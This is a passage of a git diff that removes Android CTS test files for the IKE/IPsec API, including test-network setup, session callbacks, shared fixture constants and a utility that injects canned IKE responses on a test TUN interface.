-    static final IkeTrafficSelector TRANSPORT_MODE_OUTBOUND_TS =
-            new IkeTrafficSelector(
-                    MIN_PORT,
-                    MAX_PORT,
-                    InetAddresses.parseNumericAddress("10.138.0.2"),
-                    InetAddresses.parseNumericAddress("10.138.0.2"));
-
-    static final long IKE_DETERMINISTIC_INITIATOR_SPI = Long.parseLong("46B8ECA1E0D72A18", 16);
-
-    // Static state to reduce setup/teardown
-    static Context sContext = InstrumentationRegistry.getContext();
-    static ConnectivityManager sCM =
-            (ConnectivityManager) sContext.getSystemService(Context.CONNECTIVITY_SERVICE);
-    static TestNetworkManager sTNM;
-
-    private static final int TIMEOUT_MS = 500;
-
-    // Constants to be used for providing different IP addresses for each tests
-    private static final byte IP_ADDR_LAST_BYTE_MAX = (byte) 100;
-    private static final byte[] INITIAL_AVAILABLE_IP4_ADDR_LOCAL =
-            InetAddresses.parseNumericAddress("192.0.2.1").getAddress();
-    private static final byte[] INITIAL_AVAILABLE_IP4_ADDR_REMOTE =
-            InetAddresses.parseNumericAddress("198.51.100.1").getAddress();
-    private static final byte[] NEXT_AVAILABLE_IP4_ADDR_LOCAL = INITIAL_AVAILABLE_IP4_ADDR_LOCAL;
-    private static final byte[] NEXT_AVAILABLE_IP4_ADDR_REMOTE = INITIAL_AVAILABLE_IP4_ADDR_REMOTE;
-
-    ParcelFileDescriptor mTunFd;
-    TestNetworkCallback mTunNetworkCallback;
-    Network mTunNetwork;
-    IkeTunUtils mTunUtils;
-
-    InetAddress mLocalAddress;
-    InetAddress mRemoteAddress;
-
-    Executor mUserCbExecutor;
-    TestIkeSessionCallback mIkeSessionCallback;
-    TestChildSessionCallback mFirstChildSessionCallback;
-
-    // This method is guaranteed to run in subclasses and will run before subclasses' @BeforeClass
-    // methods.
-    @BeforeClass
-    public static void setUpPermissionBeforeClass() throws Exception {
-        InstrumentationRegistry.getInstrumentation()
-                .getUiAutomation()
-                .adoptShellPermissionIdentity();
-        sTNM = sContext.getSystemService(TestNetworkManager.class);
-    }
-
-    // This method is guaranteed to run in subclasses and will run after subclasses' @AfterClass
-    // methods.
-    @AfterClass
-    public static void tearDownPermissionAfterClass() throws Exception {
-        InstrumentationRegistry.getInstrumentation()
-                .getUiAutomation()
-                .dropShellPermissionIdentity();
-    }
-
-    @Before
-    public void setUp() throws Exception {
-        mLocalAddress = getNextAvailableIpv4AddressLocal();
-        mRemoteAddress = getNextAvailableIpv4AddressRemote();
-        setUpTestNetwork(mLocalAddress);
-
-        mUserCbExecutor = Executors.newSingleThreadExecutor();
-        mIkeSessionCallback = new TestIkeSessionCallback();
-        mFirstChildSessionCallback = new TestChildSessionCallback();
-    }
-
-    @After
-    public void tearDown() throws Exception {
-        tearDownTestNetwork();
-    }
-
-    void setUpTestNetwork(InetAddress localAddr) throws Exception {
-        int prefixLen = localAddr instanceof Inet4Address ? IP4_PREFIX_LEN : IP6_PREFIX_LEN;
-
-        TestNetworkInterface testIface =
-                sTNM.createTunInterface(new LinkAddress[] {new LinkAddress(localAddr, prefixLen)});
-
-        mTunFd = testIface.getFileDescriptor();
-        mTunNetworkCallback =
-                TestNetworkUtils.setupAndGetTestNetwork(
-                        sCM, sTNM, testIface.getInterfaceName(), new Binder());
-        mTunNetwork = mTunNetworkCallback.getNetworkBlocking();
-        mTunUtils = new IkeTunUtils(mTunFd);
-    }
-
-    void tearDownTestNetwork() throws Exception {
-        sCM.unregisterNetworkCallback(mTunNetworkCallback);
-
-        sTNM.teardownTestNetwork(mTunNetwork);
-        mTunFd.close();
-    }
-
-    static void setAppOp(int appop, boolean allow) {
-        String opName = AppOpsManager.opToName(appop);
-        for (String pkg : new String[] {"com.android.shell", sContext.getPackageName()}) {
-            String cmd =
-                    String.format(
-                            "appops set %s %s %s",
-                            pkg, // Package name
-                            opName, // Appop
-                            (allow ? "allow" : "deny")); // Action
-
-            SystemUtil.runShellCommand(cmd);
-        }
-    }
-
-    Inet4Address getNextAvailableIpv4AddressLocal() throws Exception {
-        return (Inet4Address)
-                getNextAvailableAddress(
-                        NEXT_AVAILABLE_IP4_ADDR_LOCAL,
-                        INITIAL_AVAILABLE_IP4_ADDR_LOCAL,
-                        false /* isIp6 */);
-    }
-
-    Inet4Address getNextAvailableIpv4AddressRemote() throws Exception {
-        return (Inet4Address)
-                getNextAvailableAddress(
-                        NEXT_AVAILABLE_IP4_ADDR_REMOTE,
-                        INITIAL_AVAILABLE_IP4_ADDR_REMOTE,
-                        false /* isIp6 */);
-    }
-
-    InetAddress getNextAvailableAddress(
-            byte[] nextAddressBytes, byte[] initialAddressBytes, boolean isIp6) throws Exception {
-        int addressLen = isIp6 ? IP6_ADDRESS_LEN : IP4_ADDRESS_LEN;
-
-        synchronized (nextAddressBytes) {
-            if (nextAddressBytes[addressLen - 1] == IP_ADDR_LAST_BYTE_MAX) {
-                resetNextAvailableAddress(nextAddressBytes, initialAddressBytes);
-            }
-
-            InetAddress address = InetAddress.getByAddress(nextAddressBytes);
-            nextAddressBytes[addressLen - 1]++;
-            return address;
-        }
-    }
-
-    private void resetNextAvailableAddress(byte[] nextAddressBytes, byte[] initialAddressBytes) {
-        synchronized (nextAddressBytes) {
-            System.arraycopy(
-                    nextAddressBytes, 0, initialAddressBytes, 0, initialAddressBytes.length);
-        }
-    }
-
-    TransportModeChildSessionParams buildTransportModeChildParamsWithTs(
-            IkeTrafficSelector inboundTs, IkeTrafficSelector outboundTs) {
-        return new TransportModeChildSessionParams.Builder()
-                .addSaProposal(SaProposalTest.buildChildSaProposalWithCombinedModeCipher())
-                .addSaProposal(SaProposalTest.buildChildSaProposalWithNormalModeCipher())
-                .addInboundTrafficSelectors(inboundTs)
-                .addOutboundTrafficSelectors(outboundTs)
-                .build();
-    }
-
-    TransportModeChildSessionParams buildTransportModeChildParamsWithDefaultTs() {
-        return new TransportModeChildSessionParams.Builder()
-                .addSaProposal(SaProposalTest.buildChildSaProposalWithCombinedModeCipher())
-                .addSaProposal(SaProposalTest.buildChildSaProposalWithNormalModeCipher())
-                .build();
-    }
-
-    TunnelModeChildSessionParams buildTunnelModeChildSessionParams() {
-        return new TunnelModeChildSessionParams.Builder()
-                .addSaProposal(SaProposalTest.buildChildSaProposalWithNormalModeCipher())
-                .addSaProposal(SaProposalTest.buildChildSaProposalWithCombinedModeCipher())
-                .addInternalAddressRequest(AF_INET)
-                .addInternalAddressRequest(AF_INET6)
-                .build();
-    }
-
-    PortPair performSetupIkeAndFirstChildBlocking(String ikeInitRespHex, String... ikeAuthRespHexes)
-            throws Exception {
-        return performSetupIkeAndFirstChildBlocking(
-                ikeInitRespHex,
-                1 /* expectedAuthReqPktCnt */,
-                true /*expectedAuthUseEncap*/,
-                ikeAuthRespHexes);
-    }
-
-    PortPair performSetupIkeAndFirstChildBlocking(
-            String ikeInitRespHex, boolean expectedAuthUseEncap, String... ikeAuthRespHexes)
-            throws Exception {
-        return performSetupIkeAndFirstChildBlocking(
-                ikeInitRespHex,
-                1 /* expectedAuthReqPktCnt */,
-                expectedAuthUseEncap,
-                ikeAuthRespHexes);
-    }
-
-    PortPair performSetupIkeAndFirstChildBlocking(
-            String ikeInitRespHex,
-            int expectedAuthReqPktCnt,
-            boolean expectedAuthUseEncap,
-            String... ikeAuthRespHexes)
-            throws Exception {
-        mTunUtils.awaitReqAndInjectResp(
-                IKE_DETERMINISTIC_INITIATOR_SPI,
-                0 /* expectedMsgId */,
-                false /* expectedUseEncap */,
-                ikeInitRespHex);
-
-        byte[] ikeAuthReqPkt =
-                mTunUtils
-                        .awaitReqAndInjectResp(
-                                IKE_DETERMINISTIC_INITIATOR_SPI,
-                                1 /* expectedMsgId */,
-                                expectedAuthUseEncap,
-                                expectedAuthReqPktCnt,
-                                ikeAuthRespHexes)
-                        .get(0);
-        return IkeTunUtils.getSrcDestPortPair(ikeAuthReqPkt);
-    }
-
-    void performCloseIkeBlocking(int expectedMsgId, String deleteIkeRespHex) throws Exception {
-        performCloseIkeBlocking(expectedMsgId, true /* expectedUseEncap*/, deleteIkeRespHex);
-    }
-
-    void performCloseIkeBlocking(
-            int expectedMsgId, boolean expectedUseEncap, String deleteIkeRespHex) throws Exception {
-        mTunUtils.awaitReqAndInjectResp(
-                IKE_DETERMINISTIC_INITIATOR_SPI, expectedMsgId, expectedUseEncap, deleteIkeRespHex);
-    }
-
-    /** Testing callback that allows caller to block current thread until a method get called */
-    static class TestIkeSessionCallback implements IkeSessionCallback {
-        private CompletableFuture<IkeSessionConfiguration> mFutureIkeConfig =
-                new CompletableFuture<>();
-        private CompletableFuture<Boolean> mFutureOnClosedCall = new CompletableFuture<>();
-        private CompletableFuture<IkeException> mFutureOnClosedException =
-                new CompletableFuture<>();
-
-        private int mOnErrorExceptionsCount = 0;
-        private ArrayTrackRecord<IkeProtocolException> mOnErrorExceptionsTrackRecord =
-                new ArrayTrackRecord<>();
-
-        @Override
-        public void onOpened(@NonNull IkeSessionConfiguration sessionConfiguration) {
-            mFutureIkeConfig.complete(sessionConfiguration);
-        }
-
-        @Override
-        public void onClosed() {
-            mFutureOnClosedCall.complete(true /* unused */);
-        }
-
-        @Override
-        public void onClosedExceptionally(@NonNull IkeException exception) {
-            mFutureOnClosedException.complete(exception);
-        }
-
-        @Override
-        public void onError(@NonNull IkeProtocolException exception) {
-            mOnErrorExceptionsTrackRecord.add(exception);
-        }
-
-        public IkeSessionConfiguration awaitIkeConfig() throws Exception {
-            return mFutureIkeConfig.get(TIMEOUT_MS, TimeUnit.MILLISECONDS);
-        }
-
-        public IkeException awaitOnClosedException() throws Exception {
-            return mFutureOnClosedException.get(TIMEOUT_MS, TimeUnit.MILLISECONDS);
-        }
-
-        public IkeProtocolException awaitNextOnErrorException() {
-            return mOnErrorExceptionsTrackRecord.poll(
-                    (long) TIMEOUT_MS,
-                    mOnErrorExceptionsCount++,
-                    (transform) -> {
-                        return true;
-                    });
-        }
-
-        public void awaitOnClosed() throws Exception {
-            mFutureOnClosedCall.get(TIMEOUT_MS, TimeUnit.MILLISECONDS);
-        }
-    }
-
-    /** Testing callback that allows caller to block current thread until a method get called */
-    static class TestChildSessionCallback implements ChildSessionCallback {
-        private CompletableFuture<ChildSessionConfiguration> mFutureChildConfig =
-                new CompletableFuture<>();
-        private CompletableFuture<Boolean> mFutureOnClosedCall = new CompletableFuture<>();
-        private CompletableFuture<IkeException> mFutureOnClosedException =
-                new CompletableFuture<>();
-
-        private int mCreatedIpSecTransformCount = 0;
-        private int mDeletedIpSecTransformCount = 0;
-        private ArrayTrackRecord<IpSecTransformCallRecord> mCreatedIpSecTransformsTrackRecord =
-                new ArrayTrackRecord<>();
-        private ArrayTrackRecord<IpSecTransformCallRecord> mDeletedIpSecTransformsTrackRecord =
-                new ArrayTrackRecord<>();
-
-        @Override
-        public void onOpened(@NonNull ChildSessionConfiguration sessionConfiguration) {
-            mFutureChildConfig.complete(sessionConfiguration);
-        }
-
-        @Override
-        public void onClosed() {
-            mFutureOnClosedCall.complete(true /* unused */);
-        }
-
-        @Override
-        public void onClosedExceptionally(@NonNull IkeException exception) {
-            mFutureOnClosedException.complete(exception);
-        }
-
-        @Override
-        public void onIpSecTransformCreated(@NonNull IpSecTransform ipSecTransform, int direction) {
-            mCreatedIpSecTransformsTrackRecord.add(
-                    new IpSecTransformCallRecord(ipSecTransform, direction));
-        }
-
-        @Override
-        public void onIpSecTransformDeleted(@NonNull IpSecTransform ipSecTransform, int direction) {
-            mDeletedIpSecTransformsTrackRecord.add(
-                    new IpSecTransformCallRecord(ipSecTransform, direction));
-        }
-
-        public ChildSessionConfiguration awaitChildConfig() throws Exception {
-            return mFutureChildConfig.get(TIMEOUT_MS, TimeUnit.MILLISECONDS);
-        }
-
-        public IkeException awaitOnClosedException() throws Exception {
-            return mFutureOnClosedException.get(TIMEOUT_MS, TimeUnit.MILLISECONDS);
-        }
-
-        public IpSecTransformCallRecord awaitNextCreatedIpSecTransform() {
-            return mCreatedIpSecTransformsTrackRecord.poll(
-                    (long) TIMEOUT_MS,
-                    mCreatedIpSecTransformCount++,
-                    (transform) -> {
-                        return true;
-                    });
-        }
-
-        public IpSecTransformCallRecord awaitNextDeletedIpSecTransform() {
-            return mDeletedIpSecTransformsTrackRecord.poll(
-                    (long) TIMEOUT_MS,
-                    mDeletedIpSecTransformCount++,
-                    (transform) -> {
-                        return true;
-                    });
-        }
-
-        public void awaitOnClosed() throws Exception {
-            mFutureOnClosedCall.get(TIMEOUT_MS, TimeUnit.MILLISECONDS);
-        }
-    }
-
-    /**
-     * This class represents a created or deleted IpSecTransfrom that is provided by
-     * ChildSessionCallback
-     */
-    static class IpSecTransformCallRecord {
-        public final IpSecTransform ipSecTransform;
-        public final int direction;
-
-        IpSecTransformCallRecord(IpSecTransform ipSecTransform, @PolicyDirection int direction) {
-            this.ipSecTransform = ipSecTransform;
-            this.direction = direction;
-        }
-
-        @Override
-        public int hashCode() {
-            return Objects.hash(ipSecTransform, direction);
-        }
-
-        @Override
-        public boolean equals(Object o) {
-            if (!(o instanceof IpSecTransformCallRecord)) return false;
-
-            IpSecTransformCallRecord record = (IpSecTransformCallRecord) o;
-            return ipSecTransform.equals(record.ipSecTransform) && direction == record.direction;
-        }
-    }
-
-    void verifyIkeSessionSetupBlocking() throws Exception {
-        IkeSessionConfiguration ikeConfig = mIkeSessionCallback.awaitIkeConfig();
-        assertNotNull(ikeConfig);
-        assertEquals(EXPECTED_REMOTE_APP_VERSION_EMPTY, ikeConfig.getRemoteApplicationVersion());
-        assertTrue(ikeConfig.getRemoteVendorIds().isEmpty());
-        assertTrue(ikeConfig.getPcscfServers().isEmpty());
-        assertTrue(ikeConfig.isIkeExtensionEnabled(EXTENSION_TYPE_FRAGMENTATION));
-
-        IkeSessionConnectionInfo ikeConnectInfo = ikeConfig.getIkeSessionConnectionInfo();
-        assertNotNull(ikeConnectInfo);
-        assertEquals(mLocalAddress, ikeConnectInfo.getLocalAddress());
-        assertEquals(mRemoteAddress, ikeConnectInfo.getRemoteAddress());
-        assertEquals(mTunNetwork, ikeConnectInfo.getNetwork());
-    }
-
-    void verifyChildSessionSetupBlocking(
-            TestChildSessionCallback childCallback,
-            List<IkeTrafficSelector> expectedInboundTs,
-            List<IkeTrafficSelector> expectedOutboundTs,
-            List<LinkAddress> expectedInternalAddresses)
-            throws Exception {
-        verifyChildSessionSetupBlocking(
-                childCallback,
-                expectedInboundTs,
-                expectedOutboundTs,
-                expectedInternalAddresses,
-                new ArrayList<InetAddress>() /* expectedDnsServers */);
-    }
-
-    void verifyChildSessionSetupBlocking(
-            TestChildSessionCallback childCallback,
-            List<IkeTrafficSelector> expectedInboundTs,
-            List<IkeTrafficSelector> expectedOutboundTs,
-            List<LinkAddress> expectedInternalAddresses,
-            List<InetAddress> expectedDnsServers)
-            throws Exception {
-        ChildSessionConfiguration childConfig = childCallback.awaitChildConfig();
-        assertNotNull(childConfig);
-        assertEquals(expectedInboundTs, childConfig.getInboundTrafficSelectors());
-        assertEquals(expectedOutboundTs, childConfig.getOutboundTrafficSelectors());
-        assertEquals(expectedInternalAddresses, childConfig.getInternalAddresses());
-        assertEquals(expectedDnsServers, childConfig.getInternalDnsServers());
-        assertTrue(childConfig.getInternalSubnets().isEmpty());
-        assertTrue(childConfig.getInternalDhcpServers().isEmpty());
-    }
-
-    void verifyCloseIkeAndChildBlocking(
-            IpSecTransformCallRecord expectedTransformRecordA,
-            IpSecTransformCallRecord expectedTransformRecordB)
-            throws Exception {
-        verifyDeleteIpSecTransformPair(
-                mFirstChildSessionCallback, expectedTransformRecordA, expectedTransformRecordB);
-        mFirstChildSessionCallback.awaitOnClosed();
-        mIkeSessionCallback.awaitOnClosed();
-    }
-
-    static void verifyCreateIpSecTransformPair(
-            IpSecTransformCallRecord transformRecordA, IpSecTransformCallRecord transformRecordB) {
-        IpSecTransform transformA = transformRecordA.ipSecTransform;
-        IpSecTransform transformB = transformRecordB.ipSecTransform;
-
-        assertNotNull(transformA);
-        assertNotNull(transformB);
-
-        Set<Integer> expectedDirections = new HashSet<>();
-        expectedDirections.add(IpSecManager.DIRECTION_IN);
-        expectedDirections.add(IpSecManager.DIRECTION_OUT);
-
-        Set<Integer> resultDirections = new HashSet<>();
-        resultDirections.add(transformRecordA.direction);
-        resultDirections.add(transformRecordB.direction);
-
-        assertEquals(expectedDirections, resultDirections);
-    }
-
-    static void verifyDeleteIpSecTransformPair(
-            TestChildSessionCallback childCb,
-            IpSecTransformCallRecord expectedTransformRecordA,
-            IpSecTransformCallRecord expectedTransformRecordB) {
-        Set<IpSecTransformCallRecord> expectedTransforms = new HashSet<>();
-        expectedTransforms.add(expectedTransformRecordA);
-        expectedTransforms.add(expectedTransformRecordB);
-
-        Set<IpSecTransformCallRecord> resultTransforms = new HashSet<>();
-        resultTransforms.add(childCb.awaitNextDeletedIpSecTransform());
-        resultTransforms.add(childCb.awaitNextDeletedIpSecTransform());
-
-        assertEquals(expectedTransforms, resultTransforms);
-    }
-
-    /** Package private method to check if device has IPsec tunnels feature */
-    static boolean hasTunnelsFeature() {
-        return sContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_IPSEC_TUNNELS);
-    }
-
-    // TODO(b/148689509): Verify hostname based creation
-}
diff --git a/tests/tests/ipsec/src/android/ipsec/ike/cts/IkeTestBase.java b/tests/tests/ipsec/src/android/ipsec/ike/cts/IkeTestBase.java
deleted file mode 100644
index 56275e5..0000000
--- a/tests/tests/ipsec/src/android/ipsec/ike/cts/IkeTestBase.java
+++ /dev/null
@@ -1,144 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.ipsec.ike.cts;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.fail;
-
-import android.net.InetAddresses;
-import android.net.ipsec.ike.IkeTrafficSelector;
-
-import java.net.Inet4Address;
-import java.net.Inet6Address;
-import java.net.InetAddress;
-import java.util.HashMap;
-import java.util.List;
-import java.util.Map;
-
-/** Shared parameters and util methods for testing different components of IKE */
-abstract class IkeTestBase {
-    static final int MIN_PORT = 0;
-    static final int MAX_PORT = 65535;
-    private static final int INBOUND_TS_START_PORT = MIN_PORT;
-    private static final int INBOUND_TS_END_PORT = 65520;
-    private static final int OUTBOUND_TS_START_PORT = 16;
-    private static final int OUTBOUND_TS_END_PORT = MAX_PORT;
-
-    static final int IP4_ADDRESS_LEN = 4;
-    static final int IP6_ADDRESS_LEN = 16;
-    static final int IP4_PREFIX_LEN = 32;
-    static final int IP6_PREFIX_LEN = 64;
-
-    static final byte[] IKE_PSK = "ikeAndroidPsk".getBytes();
-
-    static final String LOCAL_HOSTNAME = "client.test.ike.android.net";
-    static final String REMOTE_HOSTNAME = "server.test.ike.android.net";
-    static final String LOCAL_ASN1_DN_STRING = "CN=client.test.ike.android.net, O=Android, C=US";
-    static final String LOCAL_RFC822_NAME = "client.test.ike@example.com";
-    static final byte[] LOCAL_KEY_ID = "Local Key ID".getBytes();
-
-    static final int SUB_ID = 1;
-    static final byte[] EAP_IDENTITY = "test@android.net".getBytes();
-    static final String NETWORK_NAME = "android.net";
-    static final String EAP_MSCHAPV2_USERNAME = "mschapv2user";
-    static final String EAP_MSCHAPV2_PASSWORD = "password";
-
-    static final Inet4Address IPV4_ADDRESS_LOCAL =
-            (Inet4Address) (InetAddresses.parseNumericAddress("192.0.2.100"));
-    static final Inet4Address IPV4_ADDRESS_REMOTE =
-            (Inet4Address) (InetAddresses.parseNumericAddress("198.51.100.100"));
-    static final Inet6Address IPV6_ADDRESS_LOCAL =
-            (Inet6Address) (InetAddresses.parseNumericAddress("2001:db8::100"));
-    static final Inet6Address IPV6_ADDRESS_REMOTE =
-            (Inet6Address) (InetAddresses.parseNumericAddress("2001:db8:255::100"));
-
-    static final InetAddress PCSCF_IPV4_ADDRESS_1 = InetAddresses.parseNumericAddress("192.0.2.1");
-    static final InetAddress PCSCF_IPV4_ADDRESS_2 = InetAddresses.parseNumericAddress("192.0.2.2");
-    static final InetAddress PCSCF_IPV6_ADDRESS_1 =
-            InetAddresses.parseNumericAddress("2001:DB8::1");
-    static final InetAddress PCSCF_IPV6_ADDRESS_2 =
-            InetAddresses.parseNumericAddress("2001:DB8::2");
-
-    static final IkeTrafficSelector DEFAULT_V4_TS =
-            new IkeTrafficSelector(
-                    MIN_PORT,
-                    MAX_PORT,
-                    InetAddresses.parseNumericAddress("0.0.0.0"),
-                    InetAddresses.parseNumericAddress("255.255.255.255"));
-    static final IkeTrafficSelector DEFAULT_V6_TS =
-            new IkeTrafficSelector(
-                    MIN_PORT,
-                    MAX_PORT,
-                    InetAddresses.parseNumericAddress("::"),
-                    InetAddresses.parseNumericAddress("ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff"));
-    static final IkeTrafficSelector INBOUND_V4_TS =
-            new IkeTrafficSelector(
-                    INBOUND_TS_START_PORT,
-                    INBOUND_TS_END_PORT,
-                    InetAddresses.parseNumericAddress("192.0.2.10"),
-                    InetAddresses.parseNumericAddress("192.0.2.20"));
-    static final IkeTrafficSelector OUTBOUND_V4_TS =
-            new IkeTrafficSelector(
-                    OUTBOUND_TS_START_PORT,
-                    OUTBOUND_TS_END_PORT,
-                    InetAddresses.parseNumericAddress("198.51.100.0"),
-                    InetAddresses.parseNumericAddress("198.51.100.255"));
-
-    static final IkeTrafficSelector INBOUND_V6_TS =
-            new IkeTrafficSelector(
-                    INBOUND_TS_START_PORT,
-                    INBOUND_TS_END_PORT,
-                    InetAddresses.parseNumericAddress("2001:db8::10"),
-                    InetAddresses.parseNumericAddress("2001:db8::128"));
-    static final IkeTrafficSelector OUTBOUND_V6_TS =
-            new IkeTrafficSelector(
-                    OUTBOUND_TS_START_PORT,
-                    OUTBOUND_TS_END_PORT,
-                    InetAddresses.parseNumericAddress("2001:db8:255::64"),
-                    InetAddresses.parseNumericAddress("2001:db8:255::255"));
-
-    // Verify Config requests in TunnelModeChildSessionParams and IkeSessionParams
-    <T> void verifyConfigRequestTypes(
-            Map<Class<? extends T>, Integer> expectedReqCntMap, List<? extends T> resultReqList) {
-        Map<Class<? extends T>, Integer> resultReqCntMap = new HashMap<>();
-
-        // Verify that every config request type in resultReqList is expected, and build
-        // resultReqCntMap at the same time
-        for (T resultReq : resultReqList) {
-            boolean isResultReqExpected = false;
-
-            for (Class<? extends T> expectedReqInterface : expectedReqCntMap.keySet()) {
-                if (expectedReqInterface.isInstance(resultReq)) {
-                    isResultReqExpected = true;
-
-                    resultReqCntMap.put(
-                            expectedReqInterface,
-                            resultReqCntMap.getOrDefault(expectedReqInterface, 0) + 1);
-                }
-            }
-
-            if (!isResultReqExpected) {
-                fail("Failed due to unexpected config request " + resultReq);
-            }
-        }
-
-        assertEquals(expectedReqCntMap, resultReqCntMap);
-
-        // TODO: Think of a neat way to validate both counts and values in this method. Probably can
-        // build Runnables as validators for count and values.
-    }
-}
diff --git a/tests/tests/ipsec/src/android/ipsec/ike/cts/IkeTunUtils.java b/tests/tests/ipsec/src/android/ipsec/ike/cts/IkeTunUtils.java
deleted file mode 100644
index 193455a..0000000
--- a/tests/tests/ipsec/src/android/ipsec/ike/cts/IkeTunUtils.java
+++ /dev/null
@@ -1,377 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.ipsec.ike.cts;
-
-import static android.ipsec.ike.cts.PacketUtils.BytePayload;
-import static android.ipsec.ike.cts.PacketUtils.IP4_HDRLEN;
-import static android.ipsec.ike.cts.PacketUtils.IP6_HDRLEN;
-import static android.ipsec.ike.cts.PacketUtils.Ip4Header;
-import static android.ipsec.ike.cts.PacketUtils.Ip6Header;
-import static android.ipsec.ike.cts.PacketUtils.IpHeader;
-import static android.ipsec.ike.cts.PacketUtils.Payload;
-import static android.ipsec.ike.cts.PacketUtils.UDP_HDRLEN;
-import static android.ipsec.ike.cts.PacketUtils.UdpHeader;
-import static android.system.OsConstants.IPPROTO_UDP;
-
-import static com.android.internal.util.HexDump.hexStringToByteArray;
-
-import static org.junit.Assert.fail;
-
-import android.os.ParcelFileDescriptor;
-
-import java.net.Inet4Address;
-import java.net.Inet6Address;
-import java.net.InetAddress;
-import java.nio.ByteBuffer;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.List;
-import java.util.function.Predicate;
-
-public class IkeTunUtils extends TunUtils {
-    private static final int PORT_LEN = 2;
-
-    private static final int NON_ESP_MARKER_LEN = 4;
-    private static final byte[] NON_ESP_MARKER = new byte[NON_ESP_MARKER_LEN];
-
-    private static final int IKE_INIT_SPI_OFFSET = 0;
-    private static final int IKE_FIRST_PAYLOAD_OFFSET = 16;
-    private static final int IKE_IS_RESP_BYTE_OFFSET = 19;
-    private static final int IKE_MSG_ID_OFFSET = 20;
-    private static final int IKE_HEADER_LEN = 28;
-    private static final int IKE_FRAG_NUM_OFFSET = 32;
-    private static final int IKE_PAYLOAD_TYPE_SKF = 53;
-
-    private static final int RSP_FLAG_MASK = 0x20;
-
-    public IkeTunUtils(ParcelFileDescriptor tunFd) {
-        super(tunFd);
-    }
-
-    /**
-     * Await the expected IKE request inject an IKE response (or a list of response fragments)
-     *
-     * @param ikeRespDataFragmentsHex IKE response hex (or a list of response fragments) without
-     *     IP/UDP headers or NON ESP MARKER.
-     */
-    public byte[] awaitReqAndInjectResp(
-            long expectedInitIkeSpi,
-            int expectedMsgId,
-            boolean expectedUseEncap,
-            String... ikeRespDataFragmentsHex)
-            throws Exception {
-        return awaitReqAndInjectResp(
-                        expectedInitIkeSpi,
-                        expectedMsgId,
-                        expectedUseEncap,
-                        1 /* expectedReqPktCnt */,
-                        ikeRespDataFragmentsHex)
-                .get(0);
-    }
-
-    /**
-     * Await the expected IKE request (or the list of IKE request fragments) and inject an IKE
-     * response (or a list of response fragments)
-     *
-     * @param ikeRespDataFragmentsHex IKE response hex (or a list of response fragments) without
-     *     IP/UDP headers or NON ESP MARKER.
-     */
-    public List<byte[]> awaitReqAndInjectResp(
-            long expectedInitIkeSpi,
-            int expectedMsgId,
-            boolean expectedUseEncap,
-            int expectedReqPktCnt,
-            String... ikeRespDataFragmentsHex)
-            throws Exception {
-        List<byte[]> reqList = new ArrayList<>(expectedReqPktCnt);
-        if (expectedReqPktCnt == 1) {
-            // Expecting one complete IKE packet
-            byte[] req =
-                    awaitIkePacket(
-                            (pkt) -> {
-                                return isExpectedIkePkt(
-                                        pkt,
-                                        expectedInitIkeSpi,
-                                        expectedMsgId,
-                                        false /* expectedResp */,
-                                        expectedUseEncap);
-                            });
-            reqList.add(req);
-        } else {
-            // Expecting "expectedReqPktCnt" number of request fragments
-            for (int i = 0; i < expectedReqPktCnt; i++) {
-                // IKE Fragment number always starts from 1
-                int expectedFragNum = i + 1;
-                byte[] req =
-                        awaitIkePacket(
-                                (pkt) -> {
-                                    return isExpectedIkeFragPkt(
-                                            pkt,
-                                            expectedInitIkeSpi,
-                                            expectedMsgId,
-                                            false /* expectedResp */,
-                                            expectedUseEncap,
-                                            expectedFragNum);
-                                });
-                reqList.add(req);
-            }
-        }
-
-        // All request fragments have the same addresses and ports
-        byte[] request = reqList.get(0);
-
-        // Build response header by flipping address and port
-        InetAddress srcAddr = getAddress(request, false /* shouldGetSource */);
-        InetAddress dstAddr = getAddress(request, true /* shouldGetSource */);
-        int srcPort = getPort(request, false /* shouldGetSource */);
-        int dstPort = getPort(request, true /* shouldGetSource */);
-        for (String resp : ikeRespDataFragmentsHex) {
-            byte[] response =
-                    buildIkePacket(
-                            srcAddr,
-                            dstAddr,
-                            srcPort,
-                            dstPort,
-                            expectedUseEncap,
-                            hexStringToByteArray(resp));
-            injectPacket(response);
-        }
-
-        return reqList;
-    }
-
-    /** Await the expected IKE response */
-    public byte[] awaitResp(long expectedInitIkeSpi, int expectedMsgId, boolean expectedUseEncap)
-            throws Exception {
-        return awaitIkePacket(
-                (pkt) -> {
-                    return isExpectedIkePkt(
-                            pkt,
-                            expectedInitIkeSpi,
-                            expectedMsgId,
-                            true /* expectedResp*/,
-                            expectedUseEncap);
-                });
-    }
-
-    private byte[] awaitIkePacket(Predicate<byte[]> pktVerifier) throws Exception {
-        long endTime = System.currentTimeMillis() + TIMEOUT;
-        int startIndex = 0;
-        synchronized (mPackets) {
-            while (System.currentTimeMillis() < endTime) {
-                byte[] ikePkt = getFirstMatchingPacket(pktVerifier, startIndex);
-                if (ikePkt != null) {
-                    return ikePkt; // We've found the packet we're looking for.
-                }
-
-                startIndex = mPackets.size();
-
-                // Try to prevent waiting too long. If waitTimeout <= 0, we've already hit timeout
-                long waitTimeout = endTime - System.currentTimeMillis();
-                if (waitTimeout > 0) {
-                    mPackets.wait(waitTimeout);
-                }
-            }
-
-            fail("No matching packet found");
-        }
-
-        throw new IllegalStateException(
-                "Hit an impossible case where fail() didn't throw an exception");
-    }
-
-    private static boolean isExpectedIkePkt(
-            byte[] pkt,
-            long expectedInitIkeSpi,
-            int expectedMsgId,
-            boolean expectedResp,
